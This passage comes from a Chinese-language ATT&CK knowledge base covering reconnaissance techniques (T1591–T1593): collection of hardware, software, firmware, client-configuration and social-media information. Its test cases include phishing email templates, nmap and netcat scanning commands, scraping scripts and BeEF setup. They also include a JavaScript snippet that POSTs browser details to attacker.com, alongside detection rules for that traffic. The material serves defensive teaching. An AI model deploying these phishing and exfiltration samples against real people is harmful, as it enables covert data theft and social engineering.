- 使用 LinkedIn、Crunchbase 或 ZoomInfo 模拟攻击者行为,评估公开角色信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的员工信息。
4. **网络安全配置**:
- 使用防火墙限制对公司官网敏感页面的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。
5. **组织信息管理**:
- 限制员工在公开场合(如技术论坛)分享角色或职责信息。
- 建立信息发布审查机制,确保职位描述不泄露敏感细节。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用角色信息的钓鱼邮件。
- **账号入侵(T1078)**:
- 关注针对关键角色(如运维、网络管理员)的账号爆破或凭据窃取。
- **建立帐户(T1133)**:
- 关注异常的外部帐户创建或访问尝试。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织关键角色的社交工程或钓鱼攻击预警。
- 监控暗网或 Pastebin,识别泄露的员工姓名、职位或职责信息。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK:T1591-004
================================================
FILE: Windows/01侦察/T1592.001-收集目标组织主机信息-硬件信息.md
================================================
# T1592-001-收集目标组织主机信息-硬件信息
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机硬件的信息(T1592.001)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T1195、漏洞利用 T1190 或硬件添加 T1200)。硬件信息通常包括主机上硬件的类型、型号、版本,以及是否存在可能指示附加防御措施的组件(如智能卡、生物识别器、专用加密硬件等)。由于这些活动通常在目标组织的视野之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集硬件信息的动机包括:
- **推测主机配置**:通过硬件型号或版本推断系统用途、操作系统或安全状态,为漏洞利用提供情报。
- **定制攻击向量**:利用硬件信息开发针对特定设备的恶意代码或供应链攻击。
- **供应链攻击**:识别供应链中使用的硬件型号,寻找可利用的弱点。
## 测试案例
以下测试案例展示了攻击者可能使用的外部硬件信息收集方法,聚焦于公开数据源、社交工程和主动扫描,特别包括摄像头型号和其他物联网设备信息。
#### 测试案例 1:通过职位发布收集硬件信息
**关联技术**:T1592.001(硬件信息收集)
**说明**:
- 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取与硬件相关的信息,如服务器型号、摄像头型号或物联网设备。
**示例操作**:
- 搜索目标组织的职位发布,关键词包括“硬件”、“服务器”、“摄像头”或“物联网”。
- 示例职位描述:
```
招聘物联网工程师,需熟悉 Hikvision DS-2CD2143G0-I 摄像头和 Dell PowerEdge R740 服务器。
```
**输出示例**:
```
Organization: example.com
Hardware: Hikvision DS-2CD2143G0-I Camera, Dell PowerEdge R740 Server
```
**说明**:
- 职位发布可能泄露硬件型号或物联网设备信息。
- 关联 T1592.001:通过公开招聘信息收集硬件数据。
#### 测试案例 2:社交媒体爬取硬件信息
**关联技术**:T1592.001(硬件信息收集)
**说明**:
- 攻击者通过 LinkedIn、Twitter 或技术论坛(如 Reddit、CSDN)收集员工分享的硬件相关信息,如摄像头或服务器型号。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取硬件相关信息
hardware_info = [post.text for post in soup.find_all(text=lambda t: "hardware" in t.lower() or "camera" in t.lower() or "server" in t.lower())]
print(hardware_info)
```
**输出示例**:
```
Post: "Deployed new Hikvision DS-2CD2143G0-I cameras for office security."
Hardware: Hikvision DS-2CD2143G0-I Camera
```
**说明**:
- 员工可能在社交媒体分享硬件部署或配置信息。
- 关联 T1592.001:通过社交媒体获取硬件信息。
#### 测试案例 3:钓鱼收集硬件信息
**关联技术**:T1592.001(硬件信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露硬件型号或物联网设备信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 设备支持调查
Body: 请提供您当前使用的摄像头型号、服务器型号或其他物联网设备信息:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
camera=Hikvision DS-2CD2143G0-I&server=Dell PowerEdge R740
```
**说明**:
- 钓鱼攻击可直接收集硬件信息。
- 关联 T1592.001:通过钓鱼获取硬件信息。
#### 测试案例 4:查询公开技术数据库
**关联技术**:T1592.001(硬件信息收集)
**说明**:
- 攻击者通过公开技术数据库(如 Shodan、Censys)或供应商网站查询目标组织的硬件信息,如摄像头或物联网设备型号。
**示例操作**:
```bash
# 在 Shodan 查询目标 IP 的硬件信息
shodan host 192.168.1.10
# 或访问供应商网站(如 Hikvision、Dell)搜索设备信息
```
**输出示例**:
```
IP: 192.168.1.10
Device: Hikvision DS-2CD2143G0-I Camera
```
**说明**:
- 公开数据库或供应商网站可能暴露硬件型号。
- 关联 T1592.001:通过技术数据库获取硬件信息。
#### 测试案例 5:通过主动扫描识别硬件信息
**关联技术**:T1592.001(硬件信息收集)、T1046(网络服务扫描)
**说明**:
- 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的物联网设备或硬件信息。
**示例操作**:
```bash
# 使用 Nmap 扫描目标主机
nmap -sV -p 80,554,37777 192.168.1.10
# 或使用 netcat 抓取 Banner
nc 192.168.1.10 80
HEAD / HTTP/1.0
```
**输出示例**:
```
Nmap scan report for 192.168.1.10
Port 554/tcp open rtsp Hikvision DS-2CD2143G0-I
Port 37777/tcp open dahua-dvr Dahua DVR
```
**说明**:
- `nmap -sV` 可识别物联网设备(如摄像头、DVR)的型号,Banner 抓取可暴露硬件信息。
- 关联 T1592.001:通过主动扫描收集硬件信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 使用 Shodan 查询目标 IP:`shodan host 192.168.1.10`。
- 搜索目标组织的职位发布或社交媒体,提取硬件相关关键词(如“摄像头”、“服务器”)。
- 访问供应商网站(如 Hikvision、Dell)查看设备信息。
- 使用 Nmap 扫描:`nmap -sV -p 80,554,37777 192.168.1.10`。
3. **预期结果**:返回硬件型号或物联网设备信息(如 `Hikvision DS-2CD2143G0-I Camera`, `Dell PowerEdge R740`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /careers HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 设备支持调查, URL: http://fake-survey.com
```
- **网络流量日志**(外部查询或扫描场景):
```
HTTP GET censys.io/api/v2/hosts/192.168.1.10
TCP 554, Source: 203.0.113.1, Request: HEAD / HTTP/1.0
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、职位发布或社交媒体泄露硬件型号或物联网设备信息。
- 对技术文档或职位描述进行模糊化处理(如避免提及具体硬件型号)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **硬件安全管理**:
- 定期更新硬件固件,修复已知漏洞。
- 对物联网设备(如摄像头)启用安全配置(如禁用默认端口、更改默认密码)。
3. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露硬件或物联网设备信息。
- 指导员工在社交媒体限制技术细节的分享(如避免提及摄像头或服务器型号)。
4. **主动 OSINT 评估**:
- 使用 Shodan 或 Censys 模拟攻击者行为,评估公开硬件信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的硬件信息。
5. **网络安全配置**:
- 使用防火墙限制对敏感端口(如 554、37777)的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫或扫描行为。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用硬件信息的钓鱼邮件。
- **漏洞利用(T1190)**:
- 关注针对硬件或物联网设备漏洞的攻击,如异常的设备访问请求。
- **供应链攻击(T1195)**:
- 关注异常的硬件供应链请求,如伪造的供应商通信。
- **硬件添加(T1200)**:
- 关注异常的硬件部署或配置更改。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织硬件或物联网设备的扫描或漏洞利用预警。
- 监控暗网或 Pastebin,识别泄露的硬件型号或配置。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK: T1592-001
================================================
FILE: Windows/01侦察/T1592.002-收集目标组织主机信息-软件信息.md
================================================
# T1592-002-收集目标组织主机信息-软件信息
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机软件的信息(T1592.002)。这些信息可用于目标定位、了解系统配置或指导后续攻击活动(如漏洞利用 T1190、供应链攻击 T1195 或外部远程服务攻击 T1133)。软件信息通常包括主机上运行的软件类型、版本、补丁级别以及是否存在防御软件(如防病毒、SIEM、防火墙)。这些信息可能通过主动扫描、钓鱼或公开数据源暴露。由于这些活动通常在目标组织的视野之外(如攻击者的设备或公开数据源)进行,防御者难以直接发现。
攻击者收集软件信息的动机包括:
- **漏洞利用**:通过识别软件版本,查找已知漏洞(如 CVE)以制定攻击策略。
- **绕过防御**:了解防病毒软件或 SIEM 的存在,开发规避技术(如免杀恶意软件)。
- **供应链攻击**:识别目标组织使用的第三方软件,寻找供应链弱点。
## 测试案例
以下测试案例展示了攻击者可能使用的外部软件信息收集方法,聚焦于公开数据源和主动扫描。
#### 测试案例 1:通过主动扫描识别软件信息
**关联技术**:T1592.002(软件信息收集)、T1046(网络服务扫描)
**说明**:
- 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的软件及其版本。
**示例操作**:
```bash
:: 使用 Nmap 扫描目标主机
nmap -sV -p 80,443 192.168.1.10
:: 或使用 netcat 抓取 Banner
nc 192.168.1.10 80
HEAD / HTTP/1.0
```
**输出示例**:
```
Nmap scan report for 192.168.1.10
Port 80/tcp open http Apache/2.4.41 (Ubuntu)
Port 443/tcp open https Apache/2.4.41 (Ubuntu)
```
**说明**:
- `nmap -sV` 可识别服务版本,Banner 抓取可暴露 Web 服务器或应用信息。
- 关联 T1592.002:通过主动扫描收集软件信息。
#### 测试案例 2:使用在线指纹识别工具
**关联技术**:T1592.002(软件信息收集)
**说明**:
- 攻击者通过在线指纹识别网站(如 TSscan、云悉指纹)分析目标网站的软件栈。
**示例操作**:
- 访问 或 。
- 输入目标 URL:`http://example.com`。
**输出示例**:
```
URL: example.com
Web Server: Nginx/1.14.0
CMS: WordPress 5.9.2
Framework: PHP/7.4.3
```
**说明**:
- 在线工具通过 HTTP 头、页面特征等识别软件信息。
- 关联 T1592.002:通过在线工具收集软件信息。
#### 测试案例 3:社交媒体和公开文档收集
**关联技术**:T1592.002(软件信息收集)
**说明**:
- 攻击者通过 LinkedIn、公司官网或技术论坛(如 CSDN、Reddit)收集员工分享的软件信息。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取软件相关信息
software_info = [post.text for post in soup.find_all(text=lambda t: "software" in t.lower() or "version" in t.lower())]
print(software_info)
```
**输出示例**:
```
Post: "Upgraded our servers to Apache 2.4.41 and WordPress 5.9.2."
Software: Apache 2.4.41, WordPress 5.9.2
```
**说明**:
- 员工可能在社交媒体或技术文档泄露软件版本。
- 关联 T1592.002:通过社交媒体获取软件信息。
#### 测试案例 4:钓鱼收集软件信息
**关联技术**:T1592.002(软件信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造邮件或调查问卷诱导员工泄露软件版本或配置信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 系统维护调查
Body: 请提供您当前使用的 Web 服务器版本和 CMS 类型:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
webserver=Apache 2.4.41&cms=WordPress 5.9.2
```
**说明**:
- 钓鱼攻击可直接收集软件信息。
- 关联 T1592.002:通过钓鱼获取软件信息。
#### 测试案例 5:查询公开技术数据库
**关联技术**:T1592.002(软件信息收集)
**说明**:
- 攻击者通过公开技术数据库(如 Shodan、Censys)查询目标主机的软件信息。
**示例操作**:
```bash
:: 在 Shodan 查询目标 IP 的软件信息
shodan host 192.168.1.10
:: 或在 Censys 查询
curl -H "Authorization: Basic YOUR_API_KEY" "https://search.censys.io/api/v2/hosts/192.168.1.10"
```
**输出示例**:
```
IP: 192.168.1.10
Service: HTTP, Software: Apache/2.4.41
Service: HTTPS, Software: OpenSSL/1.1.1
```
**说明**:
- 公开数据库可暴露服务器软件版本。
- 关联 T1592.002:通过技术数据库获取软件信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有 `nmap` 或浏览器的系统。
2. **步骤**:
- 使用 Nmap 扫描:`nmap -sV -p 80,443 192.168.1.10`。
- 访问在线指纹识别工具(如 ),输入 `http://example.com`。
- 搜索 LinkedIn 或公司官网,提取软件相关信息。
- 使用 Shodan 或 Censys 查询目标 IP:`shodan host 192.168.1.10`。
3. **预期结果**:返回 Web 服务器、CMS 或其他软件版本(如 `Apache 2.4.41`, `WordPress 5.9.2`)。
## 测试留痕
### 外部场景
- **网络流量日志**:
```
TCP 80, Source: 203.0.113.1, Request: HEAD / HTTP/1.0
```
- **Web 服务器日志**:
```
203.0.113.1 - - [26/May/2025:08:30:00 +0000] "GET /about HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 系统维护调查, URL: http://fake-survey.com
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、职位发布或社交媒体泄露软件版本或配置信息。
- 对技术文档进行模糊化处理(如避免提及具体软件版本)。
- 配置 Web 服务器隐藏 Banner 信息(如修改 Apache/Nginx 的 `Server` 头)。
2. **软件安全管理**:
- 定期更新软件,修复已知漏洞。
- 部署防病毒和 EDR 解决方案,防范基于软件信息的攻击。
3. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露软件信息。
- 指导员工在社交媒体限制技术细节的分享(如避免提及软件版本)。
4. **主动 OSINT 评估**:
- 使用 Nmap 或在线指纹识别工具(如 TSscan、云悉指纹)模拟攻击者行为,评估公开软件信息的暴露程度。
- 定期检查 Pastebin、暗网或 Shodan,识别泄露的软件版本。
5. **网络安全配置**:
- 使用防火墙限制对敏感端口(如 80、443)的外部扫描。
- 部署 WAF(Web 应用防火墙)拦截异常扫描或爬虫行为。
### 后续阶段监控
- **漏洞利用(T1190)**:
- 关注针对已知软件漏洞的攻击,如异常的 HTTP 请求。
- **供应链攻击(T1195)**:
- 关注异常的软件更新请求或伪造的供应商通信。
- **外部远程服务(T1133)**:
- 关注针对暴露服务的异常登录尝试。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织软件的扫描或漏洞利用预警。
- 监控暗网或 Pastebin,识别泄露的软件版本或配置。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK:T1592-002
- 指纹识别大全
- Nmap 文档
- 在线指纹识别工具
- TSscan:
- 云悉指纹:
- WhatWeb:
- BugScaner:
================================================
FILE: Windows/01侦察/T1592.003-收集目标组织主机信息-固件信息.md
================================================
# T1592-003-收集目标组织主机信息-固件信息
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织主机固件的信息(T1592.003)。这些信息可用于目标定位、了解主机配置或指导后续攻击活动(如供应链攻击 T1195、漏洞利用 T1190 或固件修改 T1542.002)。固件信息通常包括主机上固件的类型、版本、补丁级别等,可能揭示目标环境的硬件配置、用途或安全状态(如过时固件易受已知漏洞攻击)。由于这些活动通常在目标组织的视野之外(如通过公开数据源或社交工程)进行,防御者难以直接发现。
攻击者收集固件信息的动机包括:
- **推测主机配置**:通过固件版本推断硬件类型、操作系统或补丁状态,为漏洞利用提供情报。
- **定制攻击向量**:利用固件信息开发针对特定硬件的恶意代码或供应链攻击。
- **供应链攻击**:识别供应链中使用的固件版本,寻找可利用的弱点。
## 测试案例
以下测试案例展示了攻击者可能使用的外部固件信息收集方法,聚焦于公开数据源和社交工程。
#### 测试案例 1:通过职位发布收集固件信息
**关联技术**:T1592.003(固件信息收集)
**说明**:
- 攻击者通过招聘网站(如智联招聘、LinkedIn)或公司官网的职位描述,提取与硬件或固件相关的信息。
**示例操作**:
- 搜索目标组织的职位发布,关键词包括“固件”、“BIOS”、“UEFI”或“嵌入式系统”。
- 示例职位描述:
```
招聘固件工程师,熟悉 Intel UEFI 固件开发,需支持 BIOS v2.7.1。
```
**输出示例**:
```
Organization: example.com
Firmware: Intel UEFI BIOS v2.7.1
Hardware: Intel-based servers
```
**说明**:
- 职位发布可能泄露固件版本或硬件类型。
- 关联 T1592.003:通过公开招聘信息收集固件数据。
#### 测试案例 2:社交媒体爬取固件信息
**关联技术**:T1592.003(固件信息收集)
**说明**:
- 攻击者通过 LinkedIn、Twitter 或技术论坛(如 Reddit)收集员工分享的固件相关信息。
**示例操作**(Python 伪代码):
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/example-org/posts/"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 提取固件相关信息
firmware_info = [post.text for post in soup.find_all(text=lambda t: "firmware" in t.lower() or "BIOS" in t.lower())]
print(firmware_info)
```
**输出示例**:
```
Post: "Upgraded our servers to Dell BIOS v1.9.2 for better performance."
Firmware: Dell BIOS v1.9.2
Hardware: Dell servers
```
**说明**:
- 员工可能在社交媒体分享固件升级或硬件配置信息。
- 关联 T1592.003:通过社交媒体获取固件信息。
#### 测试案例 3:钓鱼收集固件信息
**关联技术**:T1592.003(固件信息收集)、T1566(钓鱼)
**说明**:
- 攻击者通过伪造的邮件或调查问卷,诱导员工泄露固件版本或硬件信息。
**示例操作**:
- 发送伪造邮件:
```
Subject: 硬件支持调查
Body: 请提供您设备的固件版本(如 BIOS/UEFI)和型号以协助技术支持:http://fake-survey.com
```
- 伪造调查页面(HTML 伪代码):
```html
```
**输出示例**(攻击者服务器日志):
```
POST /collect HTTP/1.1
model=Dell PowerEdge R740&firmware=BIOS v1.9.2
```
**说明**:
- 钓鱼攻击可直接收集固件信息。
- 关联 T1592.003:通过钓鱼获取固件信息。
#### 测试案例 4:查询公开技术数据库
**关联技术**:T1592.003(固件信息收集)
**说明**:
- 攻击者通过公开的技术数据库(如 Shodan、Censys)或供应商网站查询目标组织的固件信息。
**示例操作**:
```bash
# 在 Shodan 查询目标 IP 的固件信息
shodan host 192.168.1.10
# 或访问供应商网站(如 Dell、HP)搜索固件更新日志
```
**输出示例**:
```
IP: 192.168.1.10
Device: Dell PowerEdge R740
Firmware: BIOS v1.9.2
```
**说明**:
- 公开数据库或供应商网站可能暴露固件版本。
- 关联 T1592.003:通过技术数据库获取固件信息。
## 测试复现
### 外部场景(公开信息收集)
1. **环境**:Kali Linux 或任何带有浏览器的系统。
2. **步骤**:
- 使用 Shodan 查询目标 IP:`shodan host 192.168.1.10`。
- 搜索目标组织的职位发布或社交媒体,提取固件相关关键词(如“BIOS”、“UEFI”)。
- 访问供应商网站(如 Dell、HP)查看固件更新日志。
3. **预期结果**:返回固件版本或硬件信息(如 `Dell BIOS v1.9.2`)。
## 测试留痕
### 外部场景
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /careers HTTP/1.1" 200 1234
```
- **邮件网关日志**(钓鱼场景):
```
Email from: support@fake.com, Subject: 硬件支持调查, URL: http://fake-survey.com
```
- **网络流量日志**(外部查询场景):
```
HTTP GET censys.io/api/v2/hosts/192.168.1.10
```
## 建议
### 防御措施
1. **减少公开信息暴露**:
- 避免在官网、职位发布或社交媒体泄露固件版本或硬件配置。
- 对技术文档或职位描述进行模糊化处理(如避免提及具体固件版本)。
- 配置 Web 服务器限制爬虫访问敏感页面(如使用 CAPTCHA 或限流)。
2. **固件安全管理**:
- 定期更新固件,修复已知漏洞。
- 使用供应商提供的安全固件(如支持 TPM 或 Secure Boot)。
3. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露固件或硬件信息。
- 指导员工在社交媒体限制技术细节的分享(如避免提及固件版本)。
4. **主动 OSINT 评估**:
- 使用 Shodan 或 Censys 模拟攻击者行为,评估公开固件信息的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的硬件信息。
5. **网络安全配置**:
- 使用防火墙限制对敏感服务的外部访问。
- 部署 WAF(Web 应用防火墙)拦截异常爬虫行为。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 关注利用固件信息的钓鱼邮件。
- **漏洞利用(T1190)**:
- 关注针对固件漏洞的攻击,如异常的固件更新请求。
- **供应链攻击(T1195)**:
- 关注异常的固件供应链请求,如伪造的供应商通信。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织硬件或固件的扫描或漏洞利用预警。
- 监控暗网或 Pastebin,识别泄露的固件版本或硬件配置。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
## 参考推荐
- MITRE ATT&CK:T1592-003
- OSINT Framework
- CISA 供应链安全指南
================================================
FILE: Windows/01侦察/T1592.004-收集目标组织主机信息-客户端配置.md
================================================
# T1592.004-收集目标组织主机信息-客户端配置
## 描述
攻击者在入侵目标组织之前,可能收集目标客户端设备的配置信息,以支持目标定位和攻击规划。客户端配置信息包括操作系统类型/版本、虚拟化环境、体系结构(32位或64位)、语言设置、时区、浏览器类型/版本、User-Agent字符串或其他环境变量。这些信息可帮助攻击者了解目标设备的技术环境,识别潜在漏洞或定制攻击payload。
攻击者可能通过以下方式收集客户端配置信息:
- **主动扫描**:通过网络嗅探或Banner抓取获取User-Agent、操作系统或浏览器信息。
- **钓鱼攻击**:通过恶意网页或邮件诱导用户访问,运行脚本(如JavaScript)收集客户端配置。
- **恶意代码植入**:在受损网站植入恶意脚本(如BeEF框架),捕获访问者的设备信息。
- **公开信息搜刮**:分析公开数据(如职位发布、泄露文档、社交媒体)推测客户端配置。
- **社会工程**:伪装成合法实体,诱导员工泄露设备配置或管理凭据。
收集到的信息可能为后续攻击活动做准备,例如搜索开放网站/域(T1593)、搜索公开技术数据库(T1596)、建立运营资源(T1583/T1584)或通过供应链攻击(T1195)或外部远程服务(T1133)实现初始访问。
## 测试案例
以下是模拟攻击者收集客户端配置信息的常见方法和工具:
- **BeEF(Browser Exploitation Framework)** ():
- 用于通过浏览器漏洞收集客户端信息(如操作系统、浏览器版本、插件)。
- 示例:设置钓鱼页面,诱导用户访问并运行BeEF脚本。
```html
```
- **JavaScript信息收集**:
- 嵌入恶意JavaScript代码,收集User-Agent、语言、时区等信息。
```javascript
var info = {
userAgent: navigator.userAgent,
platform: navigator.platform,
language: navigator.language,
screen: screen.width + "x" + screen.height
};
fetch('http://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(info)
});
```
- **钓鱼页面**:
- 创建伪装的登录页面,诱导用户访问并收集客户端信息。
- 示例:伪装成公司内部门户,嵌入BeEF或自定义脚本。
- **公开信息搜刮**:
- 使用OSINT工具(如theHarvester)从社交媒体或公开文档提取员工设备信息。
```bash
theharvester -d target.com -b linkedin -l 100 -f output.html
```
- **案例场景**:
- 攻击者通过钓鱼邮件诱导员工访问包含BeEF脚本的页面,收集浏览器版本和操作系统信息,定制针对性漏洞利用。
- 使用JavaScript脚本从目标网站访客中提取User-Agent,推测目标组织使用的Windows版本。
- 参考案例:,通过BeEF收集客户端配置并发起后续攻击。
## 检测日志
客户端配置信息收集多通过公开渠道或外部交互进行,难以直接监测。以下是可能的日志来源:
- **Web服务器日志**:
- 记录异常的HTTP请求,如包含恶意脚本的页面访问或异常User-Agent。
- **WAF日志**:
- 检测被WAF拦截的恶意脚本请求或钓鱼页面访问。
- **邮件服务器日志**:
- 监控钓鱼邮件,可能与收集客户端信息的恶意链接相关。
- **网络流量日志**:
- 检测异常的HTTP/HTTPS流量,如向外部服务器发送客户端配置数据。
- **端点日志**:
- 记录浏览器或客户端设备的异常行为,如运行未知JavaScript。
## 测试复现
以下是模拟客户端配置信息收集的步骤:
1. **环境准备**:
- 在授权测试环境中搭建目标网站和钓鱼页面。
- 配置BeEF服务器或自定义JavaScript脚本。
2. **信息收集**:
- 部署BeEF:
```bash
sudo apt install beef-xss
beef-xss
# 启动BeEF服务器,默认监听http://localhost:3000
```
- 创建钓鱼页面,嵌入BeEF脚本:
```html
Login
TargetCorp Login
```
- 使用JavaScript收集客户端信息:
```javascript
var info = {
userAgent: navigator.userAgent,
platform: navigator.platform,
language: navigator.language
};
fetch('http://attacker.com/collect', { method: 'POST', body: JSON.stringify(info) });
```
3. **社会工程模拟**:
- 发送钓鱼邮件,诱导员工访问包含恶意脚本的页面。
4. **结果分析**:
- 在BeEF控制面板查看收集到的客户端信息(如操作系统、浏览器版本)。
5. **日志收集**:
- 收集Web服务器、WAF和网络流量日志,验证脚本执行或数据外传痕迹。
## 测试留痕
客户端配置信息收集可能留下以下痕迹:
- **Web服务器日志**:异常HTTP请求,如访问包含BeEF脚本的页面或异常User-Agent。
- **WAF/IDS告警**:触发恶意脚本检测规则或异常POST请求。
- **网络流量**:向外部服务器发送的异常HTTP/HTTPS数据包,包含客户端配置信息。
- **邮件服务器日志**:钓鱼邮件或社会工程交互记录。
- **端点日志**:浏览器执行未知JavaScript的记录。
## 检测规则/思路
由于客户端配置信息收集多发生在目标组织监测范围之外,检测需结合多种手段:
- **Web流量监控**:
- 使用WAF(如Cloudflare、ModSecurity)检测异常JavaScript请求或已知恶意脚本(如BeEF的`hook.js`)。
- 示例WAF规则:
```nginx
if ($http_user_agent ~* "BeEF" || $request_uri ~* "hook.js") {
return 403;
}
```
- 监控异常的POST请求,可能包含客户端配置数据。
- **网络流量分析**:
- 使用IDS/IPS(如Snort、Suricata)检测向外部服务器发送的异常流量。
- 示例Snort规则:
```snort
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Client Data Exfiltration"; content:"userAgent"; content:"platform"; content:"language"; sid:1000001;)
```
- **邮件监控**:
- 使用DLP(数据丢失防护)工具检测钓鱼邮件,重点检查包含恶意链接的邮件。
- 示例DLP规则:
```plaintext
Rule: Detect Phishing Links
Condition: Email contains "http" AND "login" AND NOT "target.com"
Action: Alert
```
- **端点保护**:
- 部署EDR(端点检测与响应)工具,监控浏览器执行的异常脚本。
- 配置浏览器策略,限制未知来源的JavaScript执行。
- **威胁情报整合**:
- 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意IP或BeEF服务器域名。
- 监控Pastebin或暗网论坛,检查是否出现组织的客户端配置数据。
## 建议
- **减少信息暴露**:
- 限制员工在公开渠道(如社交媒体、职位发布)泄露设备配置信息。
- 使用浏览器隐私设置,限制User-Agent或其他配置的暴露。
- **安全意识培训**:
- 对员工进行钓鱼防御培训,警惕伪装的登录页面或恶意链接。
- 教育员工避免点击未知来源的链接或访问可疑网站。
- **安全加固**:
- 配置WAF拦截恶意脚本请求,保护公开网站。
- 实施MFA保护与客户端相关的账户或系统。
- 使用EDR工具监控端点上的异常脚本执行。
- **主动监控与响应**:
- 部署Web日志分析工具(如Splunk、ELK),监控异常HTTP请求。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的客户端信息收集活动。
- 定期检查公开数据泄露,评估客户端配置暴露风险。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1195、钓鱼T1566),通过异常流量或登录行为间接发现侦察活动。
## 参考资料
- MITRE ATT&CK: T1592-004
- BeEF - 渗透工具使用指南
- 全流程信息收集方法总结
================================================
FILE: Windows/01侦察/T1593.001-搜索开放的域和网站-社交媒体.md
================================================
# T1593.001-搜索开放的域和网站-社交媒体
## 描述
攻击者在入侵目标组织之前,可能通过搜索社交媒体平台收集目标的公开信息。社交媒体(如LinkedIn、微博、Twitter、Facebook)可能包含有关目标组织或员工的详细信息,例如员工姓名、职位、联系方式(邮箱、电话)、工作动态、组织结构、业务关系或个人生活细节(如上下班时间、常用工具)。这些信息可帮助攻击者构建目标的社交网络图、识别关键人员或发现潜在攻击入口。
攻击者可能通过以下方式收集社交媒体信息:
- **公开信息搜刮**:手动浏览或使用爬虫工具(如OSINT Framework、Maltego)提取员工或组织的社交媒体数据。
- **社会工程**:通过伪装身份(如添加好友、假冒同事)获取目标的信任,收集更多信息。
- **泄露数据挖掘**:分析Pastebin、暗网论坛或其他平台上泄露的社交媒体数据。
- **自动化工具**:使用专门的OSINT工具(如SpiderFoot、theHarvester)提取邮箱、电话或关联账户。
收集到的信息可能为后续攻击活动做准备,例如钓鱼(T1566)、搜索开放技术数据库(T1596)、建立运营资源(T1583/T1584)或通过外部远程服务(T1133)或有效账户(T1078)实现初始访问。
## 测试案例
以下是模拟攻击者通过社交媒体收集信息的常见方法和工具:
- **手动搜刮**:
- 在LinkedIn搜索目标组织的员工,提取姓名、职位和邮箱。
```bash
site:linkedin.com "TargetCorp" "manager" # 搜索TargetCorp的经理信息
```
- 在微博或Twitter上搜索目标员工的动态,收集工作习惯或联系方式。
```bash
from:TargetCorp_employee project # 搜索员工关于项目的推文
```
- **OSINT工具**:
- **theHarvester** (): 提取目标组织的邮箱和员工信息。
```bash
theharvester -d target.com -b linkedin -l 100 -f output.html
# 从LinkedIn搜索target.com相关的邮箱,限制100条结果
```
- **Maltego** (): 构建目标组织的社交网络图,分析员工关系。
- **SpiderFoot** (): 自动化收集目标的社交媒体数据。
```bash
spiderfoot -m sfp_linkedin -t target.com -s output.json
# 收集target.com的LinkedIn信息
```
- **社交媒体爬虫**:
- 使用Python脚本爬取目标的社交媒体页面:
```python
import requests
from bs4 import BeautifulSoup
url = "https://www.linkedin.com/company/targetcorp"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
employees = soup.find_all('a', class_='employee-name')
for emp in employees:
print(emp.text)
```
